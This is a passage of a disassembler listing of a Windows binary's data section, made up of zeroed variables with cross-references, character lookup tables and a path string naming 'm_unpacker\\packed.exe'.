					; sub_40981F+46Fw ...
dword_43AC78	dd 0			; DATA XREF: sub_4023A7+ECr
					; sub_4023A7+109r ...
dword_43AC7C	dd 0			; DATA XREF: sub_40981F+9ADw
					; sub_40981F+A10r ...
dword_43AC80	dd 0			; DATA XREF: sub_40981F+354w
					; sub_40981F+3A9r ...
dword_43AC84	dd 0			; DATA XREF: sub_40981F+3F1w
					; sub_40B8D8+11Er
dword_43AC88	dd 0			; DATA XREF: sub_40981F+361w
					; sub_40981F+3B1r ...
dword_43AC8C	dd 0			; DATA XREF: sub_40981F+3A2w
					; sub_40DCE6+ADr
dword_43AC90	dd 0			; DATA XREF: sub_405AF2+115r
					; sub_4084B3+7Dr ...
dword_43AC94	dd 0			; DATA XREF: sub_40981F+72w
					; sub_40981F+D2r ...
dword_43AC98	dd 0			; DATA XREF: sub_40981F+95Fw
					; sub_40981F+9DBr ...
dword_43AC9C	dd 0			; DATA XREF: sub_40981F+388w
					; sub_40981F+3C9r ...
dword_43ACA0	dd 0			; DATA XREF: sub_40981F+83Bw
					; sub_40981F+88Er ...
dword_43ACA4	dd 0			; DATA XREF: sub_408C26+58r
					; sub_40981F+2A5w ...
dword_43ACA8	dd 0			; DATA XREF: sub_40981F+82Ew
					; sub_40981F+886r ...
dword_43ACAC	dd 0			; DATA XREF: sub_40981F+B3w
dword_43ACB0	dd 0			; DATA XREF: sub_40981F+848w
					; sub_40981F+896r ...
dword_43ACB4	dd 0			; DATA XREF: sub_407BDE+7Er
					; sub_40981F+52Fw ...
dword_43ACB8	dd 0			; DATA XREF: sub_40981F+58w
					; sub_40981F+CAr ...
dword_43ACBC	dd 0			; DATA XREF: sub_40981F+916w
					; sub_40AF86+11Ar
dword_43ACC0	dd 0			; DATA XREF: sub_40981F+A66w
					; sub_40981F+A6Dr ...
dword_43ACC4	dd 0			; DATA XREF: sub_40981F+A6w
					; sub_40981F+F2r
dword_43ACC8	dd 0			; DATA XREF: sub_4085B3+119r
					; sub_40981F+462w ...
dword_43ACCC	dd 0			; DATA XREF: sub_4075E6+20r
					; sub_40981F+5D8w
dword_43ACD0	dd 0			; DATA XREF: sub_40981F+9A0w
					; sub_40981F+A08r
dword_43ACD4	dd 0			; DATA XREF: sub_402688+280r
					; sub_40981F+5CBw ...
dword_43ACD8	dd 0			; DATA XREF: sub_402ACC+9Ar
					; sub_40981F+B21w
dword_43ACDC	dd 0			; DATA XREF: sub_40981F+7E0w
					; sub_40981F+84Fr ...
dword_43ACE0	dd 0			; DATA XREF: sub_40981F+1B3w
					; sub_40AC20+15r
dword_43ACE4	dd 0			; DATA XREF: sub_40981F+979w
					; sub_40981F+9F0r ...
dword_43ACE8	dd 0			; DATA XREF: sub_40981F+36Ew
					; sub_40981F+3B9r ...
dword_43ACEC	dd 0			; DATA XREF: sub_40981F+37Bw
					; sub_40981F+3C1r ...
dword_43ACF0	dd 0			; DATA XREF: sub_4087EE+28r
					; sub_4089E7+2Br ...
dword_43ACF4	dd 0			; DATA XREF: sub_40981F+68Ew
					; ___:00415550r
dword_43ACF8	dd 0			; DATA XREF: sub_4010B5:loc_4013E0r
					; sub_401A76:loc_401D1Cr ...
dword_43ACFC	dd 0			; DATA XREF: sub_4085B3+207r
					; sub_40981F+496w
dword_43AD00	dd 0			; DATA XREF: sub_40981F+9C7w
					; sub_40981F+A20r ...
dword_43AD04	dd 0			; DATA XREF: sub_40981F+2B2w
					; sub_40981F+2DEr ...
dword_43AD08	dd 0			; DATA XREF: sub_40981F+7Fw
					; sub_40981F+DAr ...
dword_43AD0C	dd 0			; DATA XREF: sub_40981F+B6Ew
					; sub_40981F+B75r ...
dword_43AD10	dd 0			; DATA XREF: sub_4010B5+2Fr
					; sub_401A76+2Fr ...
dword_43AD14	dd 0			; DATA XREF: sub_40981F+807w
					; sub_40981F+872r ...
dword_43AD18	dd 0			; DATA XREF: sub_40981F+986w
					; sub_40981F+9F8r
dword_43AD1C	dd 0			; DATA XREF: sub_40981F+BDFw
					; sub_40981F+C10r
dword_43AD20	dd 0			; DATA XREF: sub_4023A7+40r
					; sub_4023A7+63r ...
dword_43AD24	dd 0			; DATA XREF: sub_40981F+8FCw
					; sub_40981F+910r ...
dword_43AD28	dd 0			; DATA XREF: sub_40981F+BF9w
dword_43AD2C	dd 0			; DATA XREF: sub_4010B5:loc_4013AAr
					; sub_40144A+3Cr ...
dword_43AD30	dd 0			; DATA XREF: sub_40981F+821w
					; sub_40981F+855r
dword_43AD34	dd 0			; DATA XREF: sub_4023A7+50r
					; sub_4023A7+78r ...
dword_43AD38	dd 0			; DATA XREF: sub_4087EE+3Fr
					; sub_4087EE+69r ...
dword_43AD3C	dd 0			; DATA XREF: sub_40981F+65Aw
					; sub_40981F+786r ...
dword_43AD40	dd 0			; DATA XREF: sub_402DD7+20Ar
					; sub_4030E8+5Er ...
dword_43AD44	dd 0			; DATA XREF: sub_402688+16Er
					; sub_40981F+549w ...
dword_43AD48	dd 0			; DATA XREF: sub_40981F+8BDw
					; sub_40981F:loc_40A0FAw ...
dword_43AD4C	dd 0			; DATA XREF: sub_40981F+28Bw
					; sub_40981F+2C6r ...
dword_43AD50	dd 0			; DATA XREF: ___:00407DFEr
					; sub_40981F+681w ...
dword_43AD54	dd 0			; DATA XREF: sub_40981F+30Fw
					; sub_40981F+323r ...
dword_43AD58	dd 0			; DATA XREF: sub_40981F+395w
					; sub_40981F+3D1r ...
dword_43AD5C	dd 0			; DATA XREF: sub_40981F+BD2w
					; sub_40981F+C08r
dword_43AD60	dd 0			; DATA XREF: sub_40981F+7FAw
					; sub_40981F+86Ar ...
dword_43AD64	dd 0			; DATA XREF: sub_4023A7+FCr
					; sub_40981F+206w ...
dword_43AD68	dd 0			; DATA XREF: sub_40981F+18Cw
					; sub_40981F+1D2r ...
dword_43AD6C	dd 0			; DATA XREF: sub_40981F+814w
					; sub_40981F+87Ar ...
dword_43AD70	dd 0			; DATA XREF: sub_406C19+244r
					; sub_40981F+606w ...
dword_43AD74	dd 0			; DATA XREF: sub_408C26+18Ar
					; sub_40981F+2BFw ...
dword_43AD78	dd 0			; DATA XREF: sub_4010B5+6Fr
					; sub_40144A+AAr ...
dword_43AD7C	dd 0			; DATA XREF: sub_40981F+302w
					; sub_40981F+316r ...
dword_43AD80	dd 0			; DATA XREF: sub_405AF2+F9r
					; sub_406C19+1FCr ...
dword_43AD84	dd 0			; DATA XREF: sub_4085B3+16r
					; sub_40981F+42Ew ...
dword_43AD88	dd 0			; DATA XREF: sub_40981F+199w
					; sub_40981F+1DAr ...
dword_43AD8C	dd 0			; DATA XREF: sub_40981F+347w
					; sub_40981F+39Cr ...
dword_43AD90	dd 0			; DATA XREF: sub_40981F+A73w
dword_43AD94	dd 0			; DATA XREF: sub_4010B5+EBr
					; sub_4010B5+1F9r ...
dword_43AD98	dd 0			; DATA XREF: sub_4010B5+87r
					; sub_4010B5+9Dr ...
dword_43AD9C	dd 0			; DATA XREF: sub_40981F+4Bw
					; sub_40981F+C2r ...
dword_43ADA0	dd 0			; DATA XREF: sub_4085B3+2Cr
					; sub_4085B3+38r ...
dword_43ADA4	dd 0			; DATA XREF: sub_40981F+165w
					; sub_40981F+1BAr ...
dword_43ADA8	dd 0			; DATA XREF: sub_40981F+9E1w
					; sub_40E5EB+72r
dword_43ADAC	dd 0			; DATA XREF: sub_40981F+667w
					; sub_40981F+78Er
dword_43ADB0	dd 0			; DATA XREF: sub_402688+205r
					; sub_402DD7+23Br ...
dword_43ADB4	dd 0			; DATA XREF: sub_40981F+BECw
					; sub_40981F+C18r
dword_43ADB8	dd 0			; DATA XREF: sub_40981F+3Ew
					; sub_40981F+BAr ...
dword_43ADBC	dd 0			; DATA XREF: sub_40981F+298w
					; sub_40981F+2CEr ...
dword_43ADC0	dd 0			; DATA XREF: sub_405AF2+9Er
					; sub_407BDE+9Cr ...
dword_43ADC4	dd 0			; DATA XREF: sub_402688+EBr
					; sub_405AF2+89r ...
dword_43ADC8	dd 0			; DATA XREF: sub_40981F+C63w
					; sub_40EE72+4624r
dword_43ADCC	dd 0			; DATA XREF: sub_40981F+85Bw
					; sub_40BC4B+205r ...
dword_43ADD0	dd 0			; DATA XREF: sub_40981F+112w
dword_43ADD4	dd 0			; DATA XREF: sub_40981F+BB8w
					; sub_40981F+BF3r
dword_43ADD8	dd 0			; DATA XREF: sub_40144A+119r
					; sub_40144A+1A0r ...
dword_43ADDC	dd 0			; DATA XREF: sub_4085B3+BCr
					; sub_40981F+43Bw ...
dword_43ADE0	dd 0			; DATA XREF: sub_4085B3+FBr
					; sub_40981F+47Cw ...
dword_43ADE4	dd 0			; DATA XREF: sub_4085B3+65r
					; sub_40981F+448w ...
dword_43ADE8	dd 0			; DATA XREF: sub_402DD7+221r
					; sub_402DD7+249r ...
dword_43ADEC	dd 0			; DATA XREF: sub_40981F+1A6w
					; sub_40981F+1E2r ...
dword_43ADF0	dd 0			; DATA XREF: sub_40981F+9D4w
					; sub_40981F+A28r ...
dword_43ADF4	dd 0			; DATA XREF: sub_4087EE+53r
					; sub_4087EE+7Fr ...
dword_43ADF8	dd 0			; DATA XREF: sub_40981F+8Cw
					; sub_40981F+E2r ...
dword_43ADFC	dd 0			; DATA XREF: sub_4010B5+2C2r
					; sub_40144A+2DAr ...
dword_43AE00	dd 0			; DATA XREF: sub_40981F+B14w
					; sub_40981F+B30r
dword_43AE04	dd 0			; DATA XREF: sub_40981F+31Cw
					; sub_41511F+55r
dword_43AE08	dd 0			; DATA XREF: sub_408C26+3Fr
					; sub_40981F+27Ew ...
dword_43AE0C	dd 0			; DATA XREF: sub_40981F+B7Bw
dword_43AE10	dd 0			; DATA XREF: sub_40981F+ABDw
					; sub_40AE02+CEr
dword_43AE14	dd 0			; DATA XREF: sub_40981F+AB0w
					; sub_40981F+AB7r ...
dword_43AE18	dd 0			; DATA XREF: sub_40144A+2Er
					; sub_401D82+55r ...
dword_43AE1C	dd 0			; DATA XREF: ___:00407DEEr
					; sub_40981F+674w ...
dword_43AE20	dd 0			; DATA XREF: sub_40981F+BC5w
					; sub_40981F+C00r
dword_43AE24	dd 0			; DATA XREF: sub_402688+28Dr
					; sub_406C19+250r ...
dword_43AE28	dd 0			; DATA XREF: sub_40981F+993w
					; sub_40981F+A00r ...
dword_43AE2C	dd 0			; DATA XREF: sub_405AF2+13Ar
					; sub_407BDE+B3r ...
dword_43AE30	dd 0			; DATA XREF: sub_4010B5+324r
					; sub_40144A+2F0r ...
dword_43AE34	dd 0			; DATA XREF: sub_405AF2+B7r
					; sub_405AF2+39Fr ...
dword_43AE38	dd 0			; DATA XREF: sub_4029E9+B0r
					; sub_4029E9+C8r ...
dword_43AE3C	dd 0			; DATA XREF: sub_4010B5+4Fr
					; sub_401A76+4Fr ...
dword_43AE40	dd 0			; DATA XREF: sub_40981F+AFAw
					; sub_40981F+B1Br
dword_43AE44	dd 0			; DATA XREF: sub_40981F+31w
					; sub_40981F+ADr ...
dword_43AE48	dd 0			; DATA XREF: sub_4087EE+1ECr
					; sub_4089E7+232r ...
		align 10h
dword_43AE50	dd 0			; DATA XREF: sub_40981F+909w
					; sub_40981F+91Dr ...
dword_43AE54	dd 0			; DATA XREF: sub_40981F+99w
					; sub_40981F+EAr ...
dword_43AE58	dd 0			; DATA XREF: sub_40981F:loc_40991Dw
					; sub_40981F+12Bw ...
dword_43AE5C	dd 0			; DATA XREF: sub_40981F+126w
					; sub_40A4AC+1Cr
dword_43AE60	dd 0			; DATA XREF: sub_40981F:loc_409A0Dw
					; sub_40981F:loc_409A74w ...
dword_43AE64	dd 0			; DATA XREF: sub_40981F+250w
					; sub_40A4AC+50r
dword_43AE68	dd 0			; DATA XREF: sub_40981F:loc_409B09w
					; sub_40981F:loc_409B4Ew ...
dword_43AE6C	dd 0			; DATA XREF: sub_40981F+400w
					; sub_40A4AC+84r
dword_43AE70	dd 0			; DATA XREF: sub_40981F:loc_409D05w
					; sub_40A4AC:loc_40A55Cr
dword_43AE74	dd 0			; DATA XREF: sub_40981F+4E1w
					; sub_40A4AC+B8r
dword_43AE78	dd 0			; DATA XREF: sub_40981F:loc_409FD6w
					; sub_40A4AC:loc_40A590r
dword_43AE7C	dd 0			; DATA XREF: sub_40981F+7B2w
					; sub_40A4AC+ECr
dword_43AE80	dd 0			; DATA XREF: sub_40981F:loc_40A0C1w
					; sub_40981F+8D1w ...
dword_43AE84	dd 0			; DATA XREF: sub_40981F+8CCw
					; sub_40A4AC+120r
dword_43AE88	dd 0			; DATA XREF: sub_40981F:loc_40A155w
					; sub_40A4AC:loc_40A5F8r ...
dword_43AE8C	dd 0			; DATA XREF: sub_40981F+931w
					; sub_40A4AC+154r
dword_43AE90	dd 0			; DATA XREF: sub_40981F:loc_40A260w
					; sub_40A4AC:loc_40A62Cr ...
dword_43AE94	dd 0			; DATA XREF: sub_40981F+A3Cw
					; sub_40A4AC+188r
dword_43AE98	dd 0			; DATA XREF: sub_40981F:loc_40A2AAw
					; sub_40A4AC:loc_40A660r
dword_43AE9C	dd 0			; DATA XREF: sub_40981F+A86w
					; sub_40A4AC+1BCr
dword_43AEA0	dd 0			; DATA XREF: sub_40981F:loc_40A2F4w
					; sub_40A4AC:loc_40A694r
dword_43AEA4	dd 0			; DATA XREF: sub_40981F+AD0w
					; sub_40A4AC+1F0r
dword_43AEA8	dd 0			; DATA XREF: sub_40981F:loc_40A368w
					; sub_40A4AC:loc_40A6C8r
dword_43AEAC	dd 0			; DATA XREF: sub_40981F+B44w
					; sub_40A4AC+224r
dword_43AEB0	dd 0			; DATA XREF: sub_40981F:loc_40A3B2w
					; sub_40A4AC:loc_40A6FCr
dword_43AEB4	dd 0			; DATA XREF: sub_40981F+B8Ew
					; sub_40A4AC+258r
dword_43AEB8	dd 0			; DATA XREF: sub_40981F:loc_40A450w
					; sub_40A4AC:loc_40A730r
dword_43AEBC	dd 0			; DATA XREF: sub_40981F+C2Cw
					; sub_40A4AC+28Cr
dword_43AEC0	dd 0			; DATA XREF: sub_40981F:loc_40A49Aw
					; sub_40A4AC:loc_40A764r
dword_43AEC4	dd 0			; DATA XREF: sub_40981F+C76w
					; sub_40A4AC+2C0r
dword_43AEC8	dd 81h dup(0)		; DATA XREF: sub_40AA35+6Ao
dword_43B0CC	dd 5 dup(0)		; DATA XREF: sub_40AEE0+32o
dword_43B0E0	dd 0			; DATA XREF: sub_40B328:loc_40B349r
					; sub_40B417+54r ...
dword_43B0E4	dd 0			; DATA XREF: sub_40B328r
					; sub_40B417+37r ...
dword_43B0E8	dd 0			; DATA XREF: sub_40B358+1Ar
					; sub_40B56C+83o
dword_43B0EC	dd 0			; DATA XREF: sub_40B328:loc_40B33Cr
					; sub_40B56C+11Bw
dword_43B0F0	dd 0Dh dup(0)		; DATA XREF: sub_40B417+13o
					; sub_40B56C:loc_40B6A9o
dword_43B124	dd 0			; DATA XREF: sub_40B417+CDr
					; sub_40B417+ECr ...
		dd 0
dword_43B12C	dd 0Eh dup(0)		; DATA XREF: sub_40B721+47o
dword_43B164	dd 1000h dup(0)		; DATA XREF: sub_40BF6D+1Do
					; sub_40C00Do ...
dword_43F164	dd 0			; DATA XREF: sub_40BF6D+13o
					; sub_40C00D+Eo ...
dword_43F168	dd 0Eh dup(0)		; DATA XREF: sub_40D01A+Fo
dword_43F1A0	dd 2 dup(0)		; DATA XREF: sub_40D3A5+C8o
dword_43F1A8	dd 17h dup(0)		; DATA XREF: sub_40D835:loc_40D952o
					; sub_40D835+131o ...
dword_43F204	dd 80h dup(0)		; DATA XREF: sub_40E5EB+7Co
					; sub_40E5EB+A5o
dword_43F404	dd 0			; DATA XREF: sub_40DBB0+45w
					; sub_40DBB0+4Dr ...
dword_43F408	dd 17h dup(0)		; DATA XREF: sub_40E4B7:loc_40E5D9o
					; sub_40E4B7+12Do
dword_43F464	dd 80h dup(0)		; DATA XREF: sub_40DAF0+4Co
					; sub_40DAF0+7Eo ...
byte_43F664	db 0			; DATA XREF: sub_40DBB0+29r
					; sub_40DBB0+34w
		align 4
dword_43F668	dd 80h dup(0)		; DATA XREF: sub_40DE07+61o
					; sub_40DE07+89o ...
dword_43F868	dd 82h dup(0)		; DATA XREF: sub_40D719:loc_40D751o
					; sub_40D719+5Bo
dword_43FA70	dd 0			; DATA XREF: sub_40BE75+Ao
					; sub_40BE75+44r ...
		dd 5 dup(0)
dword_43FA88	dd 0			; DATA XREF: sub_40BE75+60r
					; sub_40EE72+BD6r
		dd 2D9h	dup(0)
dword_4405F0	dd 0			; DATA XREF: sub_407767+A8r
					; sub_40BE75+2Do ...
		dd 7Fh dup(0)
dword_4407F0	dd 0			; DATA XREF: sub_416D5C+41w
					; sub_416E97+40w ...
dword_4407F4	dd 0			; DATA XREF: sub_4060D0+23Bw
					; sub_407767:loc_4077AEr ...
dword_4407F8	dd 0			; DATA XREF: sub_40B56C+164w
					; sub_416810+AEw ...
dword_4407FC	dd 0			; DATA XREF: sub_402688+E0w
					; sub_405AF2+7Ew ...
dword_440800	dd 0			; DATA XREF: ___:00407E84w
					; ___:00407FA0r ...
dword_440804	dd 0			; DATA XREF: sub_4060D0+268w
					; sub_407252+122w ...
byte_440808	db 0			; DATA XREF: sub_40EB92+91o
					; sub_40EE72+3357r ...
		align 4
		dd 13D1h dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:off_42A2D0o
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:0042CCA8o
dword_450050	dd 10003h dup(0)
dword_49005C	dd 0F565h dup(0)	; DATA XREF: ___:off_427B6Co
dword_4CD5F0	dd 0			; DATA XREF: sub_407110:loc_40717Er
					; ___:0040E6E3w ...
		align 8
dword_4CD5F8	dd 0			; DATA XREF: ___:loc_40EAA4o
dword_4CD5FC	dd 20h dup(0)		; DATA XREF: ___:0040EA3Co
					; ___:0040EAF5o ...
dword_4CD67C	dd 10h dup(0)		; DATA XREF: ___:0040EA53o
					; sub_40EE72+929o
dword_4CD6BC	dd 24h dup(0)		; DATA XREF: ___:0040EA6Ao
dword_4CD74C	dd 0			; DATA XREF: ___:0040EA5Ew
					; ___:0040EB0Cw ...
dword_4CD750	dd 0			; DATA XREF: ___:0040EA7Dw
		align 10h
dword_4CD760	dd 0			; DATA XREF: sub_40EB92+72r
					; sub_40EE72+273r
		align 8
byte_4CD768	db 0			; DATA XREF: sub_40ECFA+28r
					; sub_40ECFA+30o
		align 4
dword_4CD76C	dd 0			; DATA XREF: ___:0040EAA9w
					; ___:0040EAC0r ...
dword_4CD770	dd 0			; DATA XREF: ___:0040EA41w
					; sub_40EE72+8CAr
		dd 2 dup(0)
dword_4CD77C	dd 0			; DATA XREF: ___:004155C6r
		dd 0
dword_4CD784	dd 1Bh dup(0)		; DATA XREF: sub_415D6A+8Do
dword_4CD7F0	dd 0			; DATA XREF: sub_416FA4+16o
					; sub_416FC3+19o
dword_4CD7F4	dd 65h dup(0)		; DATA XREF: sub_416F57+3Do
byte_4CD988	db 0			; DATA XREF: sub_416C55+6Ar
					; sub_416C55+98w
		align 4
		dd 2 dup(0)
dword_4CD994	dd 0			; DATA XREF: sub_417D73+Aw
dword_4CD998	dd 0			; DATA XREF: sub_4186B1+5Er
					; sub_4186B1+A4w
		align 10h
word_4CD9A0	dw 0			; DATA XREF: sub_4186B1+55r
					; sub_4186B1+9Ao
word_4CD9A2	dw 0			; DATA XREF: sub_4186B1+48r
		db 2 dup(0)
word_4CD9A6	dw 0			; DATA XREF: sub_4186B1+3Br
word_4CD9A8	dw 0			; DATA XREF: sub_4186B1+2Er
word_4CD9AA	dw 0			; DATA XREF: sub_4186B1+21r
		align 10h
dword_4CD9B0	dd 0			; DATA XREF: sub_418B6E+3Br
					; sub_418B6E+91w
dword_4CD9B4	dd 0			; DATA XREF: sub_418833+1B9w
					; sub_418D0E:loc_418D8Aw ...
dword_4CD9B8	dd 0			; DATA XREF: sub_4197F9+35w
					; sub_41A6B7:loc_41A751w ...
dword_4CD9BC	dd 0			; DATA XREF: sub_41FEC6+13Ar
		dd 0A28h, 501h,	5, 1
dword_4CD9D0	dd 1			; DATA XREF: ___:loc_40E98Cr
					; ___:0041F2D1w
dword_4CD9D4	dd 2440B30h		; DATA XREF: ___:0040E995r
					; ___:0040E9B5r ...
		dd 0
dword_4CD9DC	dd 2440B58h		; DATA XREF: ___:0041F1CBw
					; sub_421DAE+9r ...
dword_4CD9E0	dd 0			; DATA XREF: sub_422492+36r
dword_4CD9E4	dd 0			; DATA XREF: sub_421DAE+16r
					; sub_42217C+4r ...
		dd 0
off_4CD9EC	dd offset aCM_unpackerPac ; DATA XREF: ___:0041F26Ew
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_4CD9F4	db 0			; DATA XREF: sub_419B07+2Dw
					; sub_41FAE7+5r
		align 4
dword_4CD9F8	dd 0			; DATA XREF: sub_419B07+27w
dword_4CD9FC	dd 0			; DATA XREF: sub_419B07+4r
					; sub_419B07+8Bw
dword_4CDA00	dd 0			; DATA XREF: ___:loc_41F199r
					; ___:loc_41F1DBr ...
		align 8
dword_4CDA08	dd 0			; DATA XREF: sub_419CDAr sub_41F84Cr ...
dword_4CDA0C	dd 0			; DATA XREF: sub_41A8A2+37r
		dd 0
dword_4CDA14	dd 0			; DATA XREF: sub_417B89r
					; sub_41944F:loc_41956Br ...
dword_4CDA18	dd 0			; DATA XREF: sub_41AB54r
dword_4CDA1C	dd 0			; DATA XREF: sub_41BA22+4Bw
					; sub_41BB3B+2Dw ...
dword_4CDA20	dd 0			; DATA XREF: sub_41C96D+11r
					; sub_41CA71+1Ar ...
byte_4CDA24	db 0			; DATA XREF: sub_41C96D+3r
					; sub_41C96D+98r ...
		align 4
dword_4CDA28	dd 0			; DATA XREF: sub_41CA71+11r
					; sub_41CB4F+21w ...
byte_4CDA2C	db 0			; DATA XREF: sub_41CB4F+51w
		align 10h
dword_4CDA30	dd 0			; DATA XREF: sub_41CD45+4Er
					; sub_41D120+3Ar ...
dword_4CDA34	dd 0			; DATA XREF: sub_41CD45+5Cr
					; sub_41D120+43r ...
dword_4CDA38	dd 0			; DATA XREF: sub_417FFA+7Ar
					; sub_41CEEC+5r
dword_4CDA3C	dd 0			; DATA XREF: sub_41D4FC+29r
dword_4CDA40	dd 2 dup(0)		; DATA XREF: sub_418790+Co
dword_4CDA48	dd 0			; DATA XREF: sub_419063+4r
					; sub_419063+6Er ...
		dd 3 dup(0)
dword_4CDA58	dd 0			; DATA XREF: sub_4199B9+61r
					; sub_4199B9+BFr ...
		align 10h
dword_4CDA60	dd 1			; DATA XREF: sub_41E709+28r
					; sub_41E709+4Cw ...
dword_4CDA64	dd 1			; DATA XREF: sub_41E92D:loc_41EAA8r
					; sub_41EAC6+4w ...
dword_4CDA68	dd 0			; DATA XREF: ___:0041EFE5r
					; ___:0041EFF1w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_41F257o
					; ___:off_4CD9ECo
		align 4
		dd 3Ah dup(0)
dword_4CDB70	dd 1			; DATA XREF: ___:0041F48Fr
					; ___:0041F4B0w ...
dword_4CDB74	dd 0			; DATA XREF: sub_41F84C+21r
dword_4CDB78	dd 0			; DATA XREF: sub_41A8A2:loc_41A8CBw
					; sub_41A96C+154w ...
dword_4CDB7C	dd 1			; DATA XREF: sub_41FB63+26r
					; sub_41FB63:loc_41FBCDw
dword_4CDB80	dd 0			; DATA XREF: sub_41A96C+7r
		align 8
word_4CDB88	dw 0			; DATA XREF: sub_42074B+1Ao
					; sub_42074B+46r
byte_4CDB8A	db 0			; DATA XREF: sub_42074B+39r
		align 4
dword_4CDB8C	dd 7 dup(0)		; DATA XREF: sub_42074B+52o
dword_4CDBA8	dd 0			; DATA XREF: sub_42074B+40w
					; sub_42074B+5Co
dword_4CDBAC	dd 0			; DATA XREF: sub_42074B+4Dw
dword_4CDBB0	dd 0			; DATA XREF: sub_42074B+31w
dword_4CDBB4	dd 0			; DATA XREF: sub_42074B+52w
dword_4CDBB8	dd 77C26E79h		; DATA XREF: sub_42086E:loc_420891r
					; sub_42086E+38r
		align 10h
dword_4CDBC0	dd 0			; DATA XREF: sub_42094E+11w
					; sub_42094E+63w ...
		align 8
dword_4CDBC8	dd 0			; DATA XREF: sub_42094E+33o
					; sub_42094E+46r
dword_4CDBCC	dd 10h dup(0)		; DATA XREF: sub_42094E+C1o
word_4CDC0C	dw 0			; DATA XREF: sub_420BAC+A8r
word_4CDC0E	dw 0			; DATA XREF: sub_42094E+54r
					; sub_420BAC+DBr ...
word_4CDC10	dw 0			; DATA XREF: sub_420BAC+CAr
word_4CDC12	dw 0			; DATA XREF: sub_420BAC+D3r
					; sub_420BAC:loc_420C9Er
word_4CDC14	dw 0			; DATA XREF: sub_420BAC+C0r
word_4CDC16	dw 0			; DATA XREF: sub_420BAC+B8r
word_4CDC18	dw 0			; DATA XREF: sub_420BAC+B0r
word_4CDC1A	dw 0			; DATA XREF: sub_420BAC+9Er
dword_4CDC1C	dd 0			; DATA XREF: sub_42094E+4Br
dword_4CDC20	dd 10h dup(0)		; DATA XREF: sub_42094E+FBo
word_4CDC60	dw 0			; DATA XREF: sub_420BAC+46r
word_4CDC62	dw 0			; DATA XREF: sub_42094E:loc_4209C5r
					; sub_420BAC+78r ...
word_4CDC64	dw 0			; DATA XREF: sub_420BAC+67r
word_4CDC66	dw 0			; DATA XREF: sub_420BAC+70r
					; sub_420BAC:loc_420C30r
word_4CDC68	dw 0			; DATA XREF: sub_420BAC+5Dr
word_4CDC6A	dw 0			; DATA XREF: sub_420BAC+55r
word_4CDC6C	dw 0			; DATA XREF: sub_420BAC+4Dr
word_4CDC6E	dw 0			; DATA XREF: sub_420BAC+3Er
dword_4CDC70	dd 0			; DATA XREF: sub_42094E+80r
dword_4CDC74	dd 0			; DATA XREF: sub_42094E+132r
					; sub_42094E:loc_420A9Ar ...
dword_4CDC78	dd 0			; DATA XREF: sub_420939r sub_420939+Ew
dword_4CDC7C	dd 0			; DATA XREF: sub_42105F+3r
					; sub_42105F+2Ew ...
dword_4CDC80	dd 0			; DATA XREF: sub_42105F+43w
					; sub_42105F:loc_4210AEr
dword_4CDC84	dd 0			; DATA XREF: sub_42105F+4Aw
					; sub_42105F+60r
dword_4CDC88	dd 0			; DATA XREF: sub_41FEC6+3Fr
dword_4CDC8C	dd 0			; DATA XREF: sub_421C3C:loc_421CA3r
					; sub_421C3C+6Do
dword_4CDC90	dd 0			; DATA XREF: sub_421C3C:loc_421C7Ar
					; sub_421C3C+44o
dword_4CDC94	dd 0			; DATA XREF: sub_421C3C:loc_421C6Dr
					; sub_421C3C+37o
dword_4CDC98	dd 0			; DATA XREF: sub_421C3C:loc_421C87r
					; sub_421C3C+51o
		align 10h
dword_4CDCA0	dd 0			; DATA XREF: sub_4221EA+28r
					; sub_4221EA+48w ...
dword_4CDCA4	dd 0			; DATA XREF: sub_422C78+28r
					; sub_422C78+4Cw ...
dword_4CDCA8	dd 0			; DATA XREF: sub_422F03+26r
					; sub_422F03:loc_422F6Dw
byte_4CDCAC	db 0			; DATA XREF: sub_40482Cr sub_40482C+9w
		align 10h
dword_4CDCB0	dd 2441140h		; DATA XREF: sub_41A835:loc_41A846r
					; sub_41AADC+14r ...
		align 10h
dword_4CDCC0	dd 400h	dup(0)		; DATA XREF: ___:off_436388o
					; ___:00436390o
dword_4CECC0	dd 200h			; DATA XREF: sub_41A835+9r
					; sub_41A835+56r ...
		dd 7 dup(0)
dword_4CECE0	dd 2440650h		; DATA XREF: sub_419D23+B1r
					; sub_41E248+75r ...
dword_4CECE4	dd 3Fh dup(0)		; DATA XREF: ___:0041F651o
dword_4CEDE0	dd 20h			; DATA XREF: sub_41A6B7+8r
					; sub_41E321+Cr ...
dword_4CEDE4	dd 4E4h			; DATA XREF: sub_41E92D+14r
					; sub_41E92D+65w ...
		align 10h
dword_4CEDF0	dd 3 dup(0)		; DATA XREF: sub_41E92D+123o
					; sub_41E92D+171o ...
dword_4CEDFC	dd 0			; DATA XREF: sub_41E92D+108w
					; sub_41E92D+15Dw ...
byte_4CEE00	db 0			; DATA XREF: sub_41EB6C:loc_41EC78w
					; sub_41EB6C:loc_41EC95w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4CEF00	db 0			; DATA XREF: sub_41E92D+5Co
					; sub_41E92D+AFo ...
byte_4CEF01	db 0			; DATA XREF: sub_4192B8+5Dr
					; sub_41E92D+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
